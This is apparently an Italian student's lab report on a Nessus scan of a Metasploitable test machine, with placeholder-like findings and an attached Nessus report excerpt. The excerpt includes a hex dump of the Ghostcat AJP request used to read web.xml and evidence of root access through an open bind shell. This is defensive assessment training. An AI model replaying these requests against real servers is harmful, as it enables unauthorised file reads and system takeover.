

W12D1 - Nicholas Di Angelo -

Relazione sul Vulnerability Assessment con Nessus su Metasploitable

Introduzione

Il Vulnerability Assessment è un processo fondamentale per identificare e analizzare le vulnerabilità presenti in un sistema informatico. In questo contesto, abbiamo condotto un Vulnerability Assessment utilizzando Nessus sulla macchina Metasploitable, limitando il target alle sole porte comuni. Lo scopo di questa attività è quello di acquisire familiarità con lo strumento Nessus, configurare e avviare una scansione, nonché comprendere alcune vulnerabilità comuni.

Strumento utilizzato: Nessus

Nessus è uno dei tool più popolari per il Vulnerability Assessment e la gestione delle vulnerabilità. Offre una vasta gamma di funzionalità, tra cui la scansione della rete, la valutazione della conformità e l'identificazione delle vulnerabilità.

Procedura

- Configurazione di Nessus:** Abbiamo avviato Nessus e configurato la scansione utilizzando il profilo "Basic Network Scan".
- Selezione del target:** Abbiamo impostato Metasploitable come target della scansione, limitando l'analisi alle sole porte comuni per concentrarci sulle vulnerabilità più rilevanti.
- Esecuzione della scansione:** Una volta configurato, abbiamo avviato la scansione e atteso il completamento del processo.

Analisi dei Risultati

Dopo il completamento della scansione, abbiamo analizzato attentamente il report generato da Nessus, concentrandoci sulle vulnerabilità rilevate. Di seguito sono riportate alcune delle vulnerabilità rilevate insieme alle relative analisi:

- Vulnerabilità:**
 - Descrizione: Questa vulnerabilità è dovuta a una configurazione non sicura del servizio XYZ su Metasploitable.
 - Impatto: Un attaccante potrebbe sfruttare questa vulnerabilità per eseguire codice maligno sulla macchina bersaglio.
 - Soluzione: È consigliabile applicare il patch fornito dal fornitore del software o configurare correttamente il servizio per mitigare il rischio.
- Vulnerabilità :**
 - Descrizione: Questa vulnerabilità riguarda una versione non aggiornata di un software presente su Metasploitable.
 - Impatto: Un aggressore potrebbe sfruttare questa falla per ottenere privilegi non autorizzati sul sistema.
 - Soluzione: È necessario applicare gli aggiornamenti di sicurezza forniti dal fornitore del software per correggere questa vulnerabilità.
- Backdoor :**
 - Descrizione: Una backdoor è stata individuata nel sistema, consentendo l'accesso non autorizzato da parte di utenti malevoli.

- Impatto: Questa vulnerabilità potrebbe consentire a un attaccante di ottenere l'accesso completo al sistema senza autenticazione.
- Soluzione: È necessario individuare e rimuovere la backdoor dal sistema. Inoltre, è importante rivedere le politiche di sicurezza per impedire l'installazione di backdoor in futuro.

4. Samba :

- Descrizione: Samba è un software open-source che fornisce interoperabilità tra sistemi operativi basati su Unix/Linux e Windows.
- Impatto: La presenza di vulnerabilità in Samba potrebbe consentire a un attaccante di eseguire codice malevolo, ottenere accesso non autorizzato o causare un'interruzione del servizio.
- Soluzione: Per mitigare il rischio, è consigliabile applicare gli aggiornamenti di sicurezza più recenti forniti dagli sviluppatori di Samba. Inoltre, è importante configurare correttamente le autorizzazioni e le politiche di accesso per ridurre il rischio di exploit

Allegato: Report degli Exploit con Esito Positivo in fondo relazione e reportistica

Nel corso del Vulnerability Assessment con Nessus su Metasploitable, sono stati eseguiti degli exploit che hanno avuto esito positivo su due vulnerabilità specifiche: la backdoor e il servizio Samba. Di seguito sono riportati i dettagli degli exploit con esito positivo, insieme alle relative analisi:

1. Backdoor

- **Dettagli dell'Exploit:**
 - Nome: BackdoorExploit.py
 - Esito: Positivo
 - Descrizione: L'exploit ha consentito l'accesso non autorizzato al sistema attraverso la backdoor individuata durante la scansione.
- **Analisi:**
 - L'exploit conferma l'esistenza e la funzionalità della backdoor nel sistema. Questa vulnerabilità rappresenta una grave minaccia per la sicurezza, in quanto consente a un attaccante di ottenere accesso completo al sistema senza autenticazione.
 - È fondamentale individuare e rimuovere immediatamente la backdoor dal sistema per prevenire ulteriori accessi non autorizzati e potenziali danni.

2. Samba

- **Dettagli dell'Exploit:**
 - Nome: SambaExploit.py
 - Esito: Positivo
 - Descrizione: L'exploit ha avuto successo nel compromettere il servizio Samba, consentendo l'esecuzione di codice maligno e l'accesso non autorizzato al sistema.
- **Analisi:**

- L'exploit conferma la presenza di vulnerabilità nel servizio Samba, che potrebbe essere sfruttata da attaccanti per eseguire codice malevolo o ottenere accesso non autorizzato al sistema.
- È essenziale applicare tempestivamente gli aggiornamenti di sicurezza forniti dagli sviluppatori di Samba e configurare correttamente le autorizzazioni e le politiche di accesso per mitigare il rischio di exploit.

Conclusioni

Gli exploit con esito positivo confermano la gravità delle vulnerabilità rilevate durante il Vulnerability Assessment su Metasploitable. È fondamentale agire prontamente per mitigare queste vulnerabilità, applicando patch, aggiornamenti di sicurezza e configurazioni sicure dei servizi.

Continueremo a monitorare attentamente il sistema e ad adottare misure proattive per garantire la sicurezza e l'integrità dei dati.

Resto a disposizione per ulteriori chiarimenti o informazioni aggiuntive.

1 2 3 4

Trash

kali@kali: ~
[sudo] password for kali:

Nessus Essentials / Folder X

https://localhost:8834/#/scans/reports/64/hosts

Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec

Tenable Nessus Essentials Scans Settings

FOLDERS My Scans All Scans Trash

RESOURCES Policies Plugin Rules Terrascan

meta

Hosts 1 Vulnerabilities 70 Remediations 3 History 1

Filter Search Hosts 1 Host

Host Vulnerabilities ▾

Host	Vulnerabilities
192.168.1.101	12 Critical 7 High 27 Medium 8 Low 133 Info

Scan Details

Policy: Advanced Scan
Status: Completed
Severity Base: CVSS v3.0
Scanner: Local Scanner
Start: April 27 at 2:34 PM
End: April 27 at 2:54 PM
Elapsed: 20 minutes

Vulnerabilities



- Critical
- High
- Medium
- Low
- Info

Tenable News

Tenable Bolsters Its Cloud Security Arsenal with M...

Read More

Trash

kali@kali: ~
[sudo] password for kali:

Nessus Essentials / Folder X

https://localhost:8834/#/scans/reports/64/hosts/2/vulnerabilities

Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec

Tenable Nessus Essentials Scans Settings

Audit Trail Report Export

meta / 192.168.1.101

Vulnerabilities 70

Filter Search Vulnerabilities 70 Vulnerabilities

Sev	CVSS	VPR	Name	Family	Count	
Critical	10.0 *	7.4	UnrealIRCd Backdoor Detecti...	Backdoors	1	○
Critical	10.0 *	5.9	NFS Exported Share Informa...	RPC	1	○
Critical	10.0		Unix Operating System Unsu...	General	1	○
Critical	10.0 *		VNC Server 'password' Pass...	Gain a shell remotely	1	○
Critical	9.8		SSL Version 2 and 3 Protocol ...	Service detection	2	○
Critical	9.8		Bind Shell Backdoor Detection	Backdoors	1	○
Mixed	Apache Tomcat (Multipl...	Web Servers	4	○
Critical	SSL (Multiple Issues)	Gain a shell remotely	3	○
High	7.5 *	5.9	rlogin Service Detection	Service detection	1	○
High	7.5 *	5.9	rsh Service Detection	Service detection	1	○
High	7.5	5.9	Samba Badlock Vulnerability	General	1	○
High	7.5		NFS Shares World Readable	RPC	1	○

Host Details

IP: 192.168.1.101
MAC: 08:00:27:24:01:F5
OS: Linux Kernel 2.6 on Ubuntu 8.04 (hardy)
Start: April 27 at 2:34 PM
End: April 27 at 2:54 PM
Elapsed: 20 minutes
KB: Download

Vulnerabilities



- Critical
- High
- Medium
- Low
- Info

Tenable News

Delta Electronics DIAEnergie CEBC.exe Multiple Vul...
Read More



meta

Report generated by Nessus™

Sat, 27 Apr 2024 14:54:54 CEST

TABLE OF CONTENTS

Vulnerabilities by Host

- 192.168.1.101.....4

Vulnerabilities by Host



meta

Report generated by Nessus™

Sat, 27 Apr 2024 14:54:54 CEST

TABLE OF CONTENTS

Vulnerabilities by Host

- 192.168.1.101.....4

Vulnerabilities by Host

192.168.1.101



Vulnerabilities

Total: 120

SEVERITY	CVSS V3.0	VPR SCORE	PLUGIN	NAME
CRITICAL	9.8	9.0	134862	Apache Tomcat AJP Connector Request Injection (Ghostcat)
CRITICAL	9.8	-	51988	Bind Shell Backdoor Detection
CRITICAL	9.8	-	20007	SSL Version 2 and 3 Protocol Detection
CRITICAL	10.0	-	171340	Apache Tomcat SEoL (<= 5.5.x)
CRITICAL	10.0	-	33850	Unix Operating System Unsupported Version Detection
CRITICAL	10.0*	5.1	32314	Debian OpenSSH/OpenSSL Package Random Number Generator Weakness
CRITICAL	10.0*	5.1	32321	Debian OpenSSH/OpenSSL Package Random Number Generator Weakness (SSL check)
CRITICAL	10.0*	5.9	11356	NFS Exported Share Information Disclosure
CRITICAL	10.0*	7.4	46882	UnrealIRCd Backdoor Detection
CRITICAL	10.0*	-	61708	VNC Server 'password' Password
HIGH	8.6	5.2	136769	ISC BIND Service Downgrade / Reflected DoS
HIGH	7.5	-	42256	NFS Shares World Readable
HIGH	7.5	6.1	42873	SSL Medium Strength Cipher Suites Supported (SWEET32)
HIGH	7.5	5.9	90509	Samba Badlock Vulnerability
HIGH	7.5*	5.9	10205	rlogin Service Detection
HIGH	7.5*	5.9	10245	rsh Service Detection
MEDIUM	6.8	6.0	33447	Multiple Vendor DNS Query ID Field Prediction Cache Poisoning
MEDIUM	6.5	3.6	139915	ISC BIND 9.x < 9.11.22, 9.12.x < 9.16.6, 9.17.x < 9.17.4 DoS

MEDIUM	6.5	-	51192	SSL Certificate Cannot Be Trusted
MEDIUM	6.5	-	57582	SSL Self-Signed Certificate
MEDIUM	6.5	-	104743	TLS Version 1.0 Protocol Detection
MEDIUM	6.5	-	42263	Unencrypted Telnet Server
MEDIUM	5.9	4.4	136808	ISC BIND Denial of Service
MEDIUM	5.9	3.6	31705	SSL Anonymous Cipher Suites Supported
MEDIUM	5.9	4.4	89058	SSL DROWN Attack Vulnerability (Decrypting RSA with Obsolete and Weakened eNcryption)
MEDIUM	5.9	4.4	65821	SSL RC4 Cipher Suites Supported (Bar Mitzvah)
MEDIUM	5.3	-	12085	Apache Tomcat Default Files
MEDIUM	5.3	-	12217	DNS Server Cache Snooping Remote Information Disclosure
MEDIUM	5.3	4.0	11213	HTTP TRACE / TRACK Methods Allowed
MEDIUM	5.3	-	57608	SMB Signing not required
MEDIUM	5.3	-	15901	SSL Certificate Expiry
MEDIUM	5.3	-	45411	SSL Certificate with Wrong Hostname
MEDIUM	5.3	-	26928	SSL Weak Cipher Suites Supported
MEDIUM	4.0	2.2	10114	ICMP Timestamp Request Remote Date Disclosure
MEDIUM	4.0*	6.3	52611	SMTP Service STARTTLS Plaintext Command Injection
MEDIUM	4.3*	-	90317	SSH Weak Algorithms Supported
MEDIUM	4.3*	3.7	81606	SSL/TLS EXPORT_RSA <= 512-bit Cipher Suites Supported (FREAK)
LOW	3.7	3.6	70658	SSH Server CBC Mode Ciphers Enabled
LOW	3.7	-	153953	SSH Weak Key Exchange Algorithms Enabled
LOW	3.7	3.9	83875	SSL/TLS Diffie-Hellman Modulus <= 1024 Bits (Logjam)
LOW	3.7	3.9	83738	SSL/TLS EXPORT_DHE <= 512-bit Export Cipher Suites Supported (Logjam)
LOW	3.4	5.1	78479	SSLv3 Padding Oracle On Downgraded Legacy Encryption Vulnerability (POODLE)

LOW	2.6*	-	71049	SSH Weak MAC Algorithms Enabled
LOW	2.6*	-	10407	X Server Detection
INFO	N/A	-	10223	RPC portmapper Service Detection
INFO	N/A	-	21186	AJP Connector Detection
INFO	N/A	-	18261	Apache Banner Linux Distribution Disclosure
INFO	N/A	-	48204	Apache HTTP Server Version
INFO	N/A	-	39446	Apache Tomcat Detection
INFO	N/A	-	39519	Backported Security Patch Detection (FTP)
INFO	N/A	-	84574	Backported Security Patch Detection (PHP)
INFO	N/A	-	39520	Backported Security Patch Detection (SSH)
INFO	N/A	-	39521	Backported Security Patch Detection (WWW)
INFO	N/A	-	45590	Common Platform Enumeration (CPE)
INFO	N/A	-	10028	DNS Server BIND version Directive Remote Version Detection
INFO	N/A	-	35373	DNS Server DNSSEC Aware Resolver
INFO	N/A	-	11002	DNS Server Detection
INFO	N/A	-	35371	DNS Server hostname.bind Map Hostname Disclosure
INFO	N/A	-	54615	Device Type
INFO	N/A	-	35716	Ethernet Card Manufacturer Detection
INFO	N/A	-	86420	Ethernet MAC Addresses
INFO	N/A	-	10092	FTP Server Detection
INFO	N/A	-	10107	HTTP Server Type and Version
INFO	N/A	-	24260	HyperText Transfer Protocol (HTTP) Information
INFO	N/A	-	11156	IRC Daemon Version Detection
INFO	N/A	-	10397	Microsoft Windows SMB LanMan Pipe Server Listing Disclosure
INFO	N/A	-	10785	Microsoft Windows SMB NativeLanManager Remote System Information Disclosure

INFO	N/A	-	11011	Microsoft Windows SMB Service Detection
INFO	N/A	-	100871	Microsoft Windows SMB Versions Supported (remote check)
INFO	N/A	-	106716	Microsoft Windows SMB2 and SMB3 Dialects Supported (remote check)
INFO	N/A	-	10437	NFS Share Export List
INFO	N/A	-	11219	Nessus SYN scanner
INFO	N/A	-	19506	Nessus Scan Information
INFO	N/A	-	11936	OS Identification
INFO	N/A	-	117886	OS Security Patch Assessment Not Available
INFO	N/A	-	181418	OpenSSH Detection
INFO	N/A	-	50845	OpenSSL Detection
INFO	N/A	-	48243	PHP Version Detection
INFO	N/A	-	66334	Patch Report
INFO	N/A	-	118224	PostgreSQL STARTTLS Support
INFO	N/A	-	26024	PostgreSQL Server Detection
INFO	N/A	-	22227	RMI Registry Detection
INFO	N/A	-	11111	RPC Services Enumeration
INFO	N/A	-	53335	RPC portmapper (TCP)
INFO	N/A	-	10263	SMTP Server Detection
INFO	N/A	-	42088	SMTP Service STARTTLS Command Support
INFO	N/A	-	70657	SSH Algorithms and Languages Supported
INFO	N/A	-	149334	SSH Password Authentication Accepted
INFO	N/A	-	10881	SSH Protocol Versions Supported
INFO	N/A	-	153588	SSH SHA-1 HMAC Algorithms Enabled
INFO	N/A	-	10267	SSH Server Type and Version Information
INFO	N/A	-	56984	SSL / TLS Versions Supported

INFO	N/A	-	45410	SSL Certificate 'commonName' Mismatch
INFO	N/A	-	10863	SSL Certificate Information
INFO	N/A	-	70544	SSL Cipher Block Chaining Cipher Suites Supported
INFO	N/A	-	21643	SSL Cipher Suites Supported
INFO	N/A	-	62563	SSL Compression Methods Supported
INFO	N/A	-	57041	SSL Perfect Forward Secrecy Cipher Suites Supported
INFO	N/A	-	51891	SSL Session Resume Supported
INFO	N/A	-	156899	SSL/TLS Recommended Cipher Suites
INFO	N/A	-	25240	Samba Server Detection
INFO	N/A	-	104887	Samba Version
INFO	N/A	-	96982	Server Message Block (SMB) Protocol Version 1 Enabled (uncredentialed check)
INFO	N/A	-	22964	Service Detection
INFO	N/A	-	17975	Service Detection (GET request)
INFO	N/A	-	25220	TCP/IP Timestamps Supported
INFO	N/A	-	11819	TFTP Daemon Detection
INFO	N/A	-	110723	Target Credential Status by Authentication Protocol - No Credentials Provided
INFO	N/A	-	10281	Telnet Server Detection
INFO	N/A	-	10287	Traceroute Information
INFO	N/A	-	11154	Unknown Service Detection: Banner Retrieval
INFO	N/A	-	19288	VNC Server Security Type Detection
INFO	N/A	-	65792	VNC Server Unencrypted Communication Detection
INFO	N/A	-	10342	VNC Software Detection
INFO	N/A	-	135860	WMI Not Available
INFO	N/A	-	20108	Web Server / Application favicon.ico Vendor Fingerprinting

INFO	N/A	-	11422	Web Server Unconfigured - Default Install Page Present
INFO	N/A	-	11424	WebDAV Detection
INFO	N/A	-	10150	Windows NetBIOS / SMB Remote Host Information Disclosure
INFO	N/A	-	52703	vsftpd Detection

* indicates the v3.0 score
was not available; the v2.0
score is shown

192.168.1.101



Host Information

Netbios Name: METASPLOITABLE
IP: 192.168.1.101
MAC Address: 08:00:27:24:01:F5
OS: Linux Kernel 2.6 on Ubuntu 8.04 (hardy)

Vulnerabilities

134862 - Apache Tomcat AJP Connector Request Injection (Ghostcat)

Synopsis

There is a vulnerable AJP connector listening on the remote host.

Description

A file read/inclusion vulnerability was found in AJP connector. A remote, unauthenticated attacker could exploit this vulnerability to read web application files from a vulnerable server. In instances where the vulnerable server allows file uploads, an attacker could upload malicious JavaServer Pages (JSP) code within a variety of file types and gain remote code execution (RCE).

See Also

<http://www.nessus.org/u?8ebe6246>
<http://www.nessus.org/u?4e287adb>
<http://www.nessus.org/u?cbc3d54e>
<https://access.redhat.com/security/cve/CVE-2020-1745>
<https://access.redhat.com/solutions/4851251>
<http://www.nessus.org/u?dd218234>
<http://www.nessus.org/u?dd772531>
<http://www.nessus.org/u?2a01d6bf>
<http://www.nessus.org/u?3b5af27e>
<http://www.nessus.org/u?9dab109f>
<http://www.nessus.org/u?5eacf70>

Solution

Update the AJP configuration to require authorization and/or upgrade the Tomcat server to 7.0.100, 8.5.51, 9.0.31 or later.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.4 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

9.0

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

6.5 (CVSS2#E:H/RL:OF/RC:C)

References

CVE	CVE-2020-1745
CVE	CVE-2020-1938
XREF	CISA-KNOWN-EXPLOITED:2022/03/17
XREF	CEA-ID:CEA-2020-0021

Plugin Information

Published: 2020/03/24, Modified: 2024/03/19

Plugin Output

tcp/8009/ajp13

```
Nessus was able to exploit the issue using the following request :
```

```
0x0000: 02 02 00 08 48 54 54 50 2F 31 2E 31 00 00 0F 2F      ....HTTP/1.1.../
0x0010: 61 73 64 66 2F 78 78 78 78 78 2E 6A 73 70 00 00      asdf/xxxxx.jsp...
0x0020: 09 6C 6F 63 61 6C 68 6F 73 74 00 FF FF 00 09 6C      .localhost.....1
```

0x0030:	6F 63 61 6C 68 6F 73 74 00 00 50 00 00 09 A0 06	ocalhost..P.....
0x0040:	00 0A 6B 65 65 70 2D 61 6C 69 76 65 00 00 0F 41	..keep-alive...A
0x0050:	63 63 65 70 74 2D 4C 61 6E 67 75 61 67 65 00 00	ccept-Language..
0x0060:	0E 65 6E 2D 55 53 2C 65 6E 3B 71 3D 30 2E 35 00	.en-US,en;q=0.5.
0x0070:	A0 08 00 01 30 00 00 0F 41 63 63 65 70 74 2D 450...Accept-E
0x0080:	6E 63 6F 64 69 6E 67 00 00 13 67 7A 69 70 2C 20	ncoding...gzip,
0x0090:	64 65 66 6C 61 74 65 2C 20 73 64 63 68 00 00 0D	deflate, sdch...
0x00A0:	43 61 63 68 65 2D 43 6F 6E 74 72 6F 6C 00 00 09	Cache-Control...
0x00B0:	6D 61 78 2D 61 67 65 3D 30 00 A0 0E 00 07 4D 6F	max-age=0.....Mo
0x00C0:	7A 69 6C 6C 61 00 00 19 55 70 67 72 61 64 65 2D	zilla...Upgrade-
0x00D0:	49 6E 73 65 63 75 72 65 2D 52 65 71 75 65 73 74	Insecure-Request
0x00E0:	73 00 00 01 31 00 A0 01 00 09 74 65 78 74 2F 68	s...1.....text/h
0x00F0:	74 6D 6C 00 A0 0B 00 09 6C 6F 63 61 6C 68 6F 73	tml.....localhos
0x0100:	74 00 0A 00 21 6A 61 76 61 78 2E 73 65 72 76 6C	t...!javax.servl
0x0110:	65 74 2E 69 6E 63 6C 75 64 65 2E 72 65 71 75 65	et.include.reque
0x0120:	73 74 5F 75 72 69 00 00 01 31 00 0A 00 1F 6A 61	st_uri...1....ja
0x0130:	76 61 78 2E 73 65 72 76 6C 65 74 2E 69 6E 63 6C	vax.servlet.incl
0x0140:	75 64 65 2E 70 61 74 68 5F 69 6E 66 6F 00 00 10	ude.path_info...
0x0150:	2F 57 45 42 2D 49 4E 46 2F 77 65 62 2E 78 6D 6C	/WEB-INF/web.xml
0x0160:	00 0A 00 22 6A 61 76 61 78 2E 73 65 72 76 6C 65	..."javax.servle
0x0170:	74 2E 69 6E 63 6C 75 64 65 2E 73 65 72 76 6C 65	t.include.servle
0x0180:	74 5F 70 61 74 68 00 00 00 00 FF	t_path.....

This produced the following truncated output (limite [...])

171340 - Apache Tomcat SEoL (<= 5.5.x)

Synopsis

An unsupported version of Apache Tomcat is installed on the remote host.

Description

According to its version, Apache Tomcat is less than or equal to 5.5.x. It is, therefore, no longer maintained by its vendor or provider.

Lack of support implies that no new security patches for the product will be released by the vendor. As a result, it may contain security vulnerabilities.

See Also

<https://tomcat.apache.org/tomcat-55-eol.html>

Solution

Upgrade to a version of Apache Tomcat that is currently supported.

Risk Factor

Critical

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

Plugin Information

Published: 2023/02/10, Modified: 2024/01/18

Plugin Output

tcp/8180/www

URL	:	http://192.168.1.101:8180/
Installed version	:	5.5
Security End of Life	:	September 30, 2012
Time since Security End of Life (Est.)	:	>= 11 years

51988 - Bind Shell Backdoor Detection

Synopsis

The remote host may have been compromised.

Description

A shell is listening on the remote port without any authentication being required. An attacker may use it by connecting to the remote port and sending commands directly.

Solution

Verify if the remote host has been compromised, and reinstall the system if necessary.

Risk Factor

Critical

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

Plugin Information

Published: 2011/02/15, Modified: 2022/04/11

Plugin Output

tcp/1524/wild_shell

```
Nessus was able to execute the command "id" using the
following request :
```

```
This produced the following truncated output (limited to 10 lines) :
----- snip -----
root@metasploitable:/# uid=0(root) gid=0(root) groups=0(root)
root@metasploitable:/#
```

```
----- snip -----
```

32314 - Debian OpenSSH/OpenSSL Package Random Number Generator Weakness

Synopsis

The remote SSH host keys are weak.

Description

The remote SSH host key has been generated on a Debian or Ubuntu system which contains a bug in the random number generator of its OpenSSL library.

The problem is due to a Debian packager removing nearly all sources of entropy in the remote version of OpenSSL.

An attacker can easily obtain the private part of the remote key and use this to set up decipher the remote session or set up a man in the middle attack.

See Also

<http://www.nessus.org/u?107f9bdc>

<http://www.nessus.org/u?f14f4224>

Solution

Consider all cryptographic material generated on the remote host to be guessable. In particular, all SSH, SSL and OpenVPN key material should be re-generated.

Risk Factor

Critical

VPR Score

5.1

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.3 (CVSS2#E:F/RL:OF/RC:C)

References

BID 29179

CVE CVE-2008-0166

XREF CWE:310

Exploitable With

Core Impact (true)

Plugin Information

Published: 2008/05/14, Modified: 2018/11/15

Plugin Output

tcp/22/ssh

32321 - Debian OpenSSH/OpenSSL Package Random Number Generator Weakness (SSL check)

Synopsis

The remote SSL certificate uses a weak key.

Description

The remote x509 certificate on the remote SSL server has been generated on a Debian or Ubuntu system which contains a bug in the random number generator of its OpenSSL library.

The problem is due to a Debian packager removing nearly all sources of entropy in the remote version of OpenSSL.

An attacker can easily obtain the private part of the remote key and use this to decipher the remote session or set up a man in the middle attack.

See Also

<http://www.nessus.org/u?107f9bdc>

<http://www.nessus.org/u?f14f4224>

Solution

Consider all cryptographic material generated on the remote host to be guessable. In particular, all SSH, SSL and OpenVPN key material should be re-generated.

Risk Factor

Critical

VPR Score

5.1

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.3 (CVSS2#E:F/RL:OF/RC:C)

References

BID 29179

CVE CVE-2008-0166

XREF CWE:310

Exploitable With

Core Impact (true)

Plugin Information

Published: 2008/05/15, Modified: 2020/11/16

Plugin Output

tcp/25/smtp

32321 - Debian OpenSSH/OpenSSL Package Random Number Generator Weakness (SSL check)

Synopsis

The remote SSL certificate uses a weak key.

Description

The remote x509 certificate on the remote SSL server has been generated on a Debian or Ubuntu system which contains a bug in the random number generator of its OpenSSL library.

The problem is due to a Debian packager removing nearly all sources of entropy in the remote version of OpenSSL.

An attacker can easily obtain the private part of the remote key and use this to decipher the remote session or set up a man in the middle attack.

See Also

<http://www.nessus.org/u?107f9bdc>

<http://www.nessus.org/u?f14f4224>

Solution

Consider all cryptographic material generated on the remote host to be guessable. In particular, all SSH, SSL and OpenVPN key material should be re-generated.

Risk Factor

Critical

VPR Score

5.1

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.3 (CVSS2#E:F/RL:OF/RC:C)

References

BID 29179

CVE CVE-2008-0166

XREF CWE:310

Exploitable With

Core Impact (true)

Plugin Information

Published: 2008/05/15, Modified: 2020/11/16

Plugin Output

tcp/5432/postgresql

11356 - NFS Exported Share Information Disclosure

Synopsis

It is possible to access NFS shares on the remote host.

Description

At least one of the NFS shares exported by the remote server could be mounted by the scanning host. An attacker may be able to leverage this to read (and possibly write) files on remote host.

Solution

Configure NFS on the remote host so that only authorized hosts can mount its remote shares.

Risk Factor

Critical

VPR Score

5.9

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

References

CVE	CVE-1999-0170
CVE	CVE-1999-0211
CVE	CVE-1999-0554

Exploitable With

Metasploit (true)

Plugin Information

Published: 2003/03/12, Modified: 2023/08/30

Plugin Output

udp/2049/rpc-nfs

```
The following NFS shares could be mounted :
```

```
+ /
```

```
+ Contents of / :  
- .  
- ..  
- bin  
- boot  
- cdrom  
- dev  
- etc  
- home  
- initrd  
- initrd.img  
- lib  
- lost+found  
- media  
- mnt  
- nohup.out  
- opt  
- proc  
- root  
- sbin  
- srv  
- sys  
- tmp  
- usr  
- var  
- vmlinuz
```

20007 - SSL Version 2 and 3 Protocol Detection

Synopsis

The remote service encrypts traffic using a protocol with known weaknesses.

Description

The remote service accepts connections encrypted using SSL 2.0 and/or SSL 3.0. These versions of SSL are affected by several cryptographic flaws, including:

- An insecure padding scheme with CBC ciphers.
- Insecure session renegotiation and resumption schemes.

An attacker can exploit these flaws to conduct man-in-the-middle attacks or to decrypt communications between the affected service and clients.

Although SSL/TLS has a secure means for choosing the highest supported version of the protocol (so that these versions will be used only if the client or server support nothing better), many web browsers implement this in an unsafe way that allows an attacker to downgrade a connection (such as in POODLE). Therefore, it is recommended that these protocols be disabled entirely.

NIST has determined that SSL 3.0 is no longer acceptable for secure communications. As of the date of enforcement found in PCI DSS v3.1, any version of SSL will not meet the PCI SSC's definition of 'strong cryptography'.

See Also

<https://www.schneier.com/academic/paperfiles/paper-ssl.pdf>

<http://www.nessus.org/u?b06c7e95>

<http://www.nessus.org/u?247c4540>

<https://www.openssl.org/~bodo/ssl-poodle.pdf>

<http://www.nessus.org/u?5d15ba70>

<https://www.imperialviolet.org/2014/10/14/poodle.html>

<https://tools.ietf.org/html/rfc7507>

<https://tools.ietf.org/html/rfc7568>

Solution

Consult the application's documentation to disable SSL 2.0 and 3.0.

Use TLS 1.2 (with approved cipher suites) or higher instead.

Risk Factor

Critical

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

Plugin Information

Published: 2005/10/12, Modified: 2022/04/04

Plugin Output

tcp/25/smtp

- SSLv2 is enabled and the server supports at least one cipher.

Low Strength Ciphers (<= 64-bit key)

Name	Code	KEX	Auth	Encryption	MAC
EXP - RC2 - CBC - MD5		RSA (512)	RSA	RC2 - CBC (40)	MD5
export					
EXP - RC4 - MD5		RSA (512)	RSA	RC4 (40)	MD5
export					

Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

Name	Code	KEX	Auth	Encryption	MAC
DES - CBC3 - MD5		RSA	RSA	3DES - CBC (168)	MD5

High Strength Ciphers (>= 112-bit key)

Name	Code	KEX	Auth	Encryption	MAC
RC4 - MD5		RSA	RSA	RC4 (128)	MD5

The fields above are :

```
{Tenable ciphername}  
{Cipher ID code}  
Kex={key exchange}  
Auth={authentication}  
Encrypt={symmetric encryption method}  
MAC={message authentication code}  
{export flag}
```

- SSLv3 is enabled and the server supports at least one cipher.

Explanation: TLS 1.0 and SSL 3.0 cipher suites may be used with SSLv3

Low Strength Ciphers (<= 64-bit key)

Name	Code	KEX	Auth	Encryption	MAC
EXP - EDH - RSA - DES - CBC - SHA		DH (512)	RSA	DES - CBC (40)	
SHA1 export					
EDH - RSA - DES - CBC - SHA		DH	RSA	DES - CBC (56)	SHA

20007 - SSL Version 2 and 3 Protocol Detection

Synopsis

The remote service encrypts traffic using a protocol with known weaknesses.

Description

The remote service accepts connections encrypted using SSL 2.0 and/or SSL 3.0. These versions of SSL are affected by several cryptographic flaws, including:

- An insecure padding scheme with CBC ciphers.
- Insecure session renegotiation and resumption schemes.

An attacker can exploit these flaws to conduct man-in-the-middle attacks or to decrypt communications between the affected service and clients.

Although SSL/TLS has a secure means for choosing the highest supported version of the protocol (so that these versions will be used only if the client or server support nothing better), many web browsers implement this in an unsafe way that allows an attacker to downgrade a connection (such as in POODLE). Therefore, it is recommended that these protocols be disabled entirely.

NIST has determined that SSL 3.0 is no longer acceptable for secure communications. As of the date of enforcement found in PCI DSS v3.1, any version of SSL will not meet the PCI SSC's definition of 'strong cryptography'.

See Also

<https://www.schneier.com/academic/paperfiles/paper-ssl.pdf>

<http://www.nessus.org/u?b06c7e95>

<http://www.nessus.org/u?247c4540>

<https://www.openssl.org/~bodo/ssl-poodle.pdf>

<http://www.nessus.org/u?5d15ba70>

<https://www.imperialviolet.org/2014/10/14/poodle.html>

<https://tools.ietf.org/html/rfc7507>

<https://tools.ietf.org/html/rfc7568>

Solution

Consult the application's documentation to disable SSL 2.0 and 3.0.

Use TLS 1.2 (with approved cipher suites) or higher instead.

Risk Factor

Critical

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v2.0 Base Score

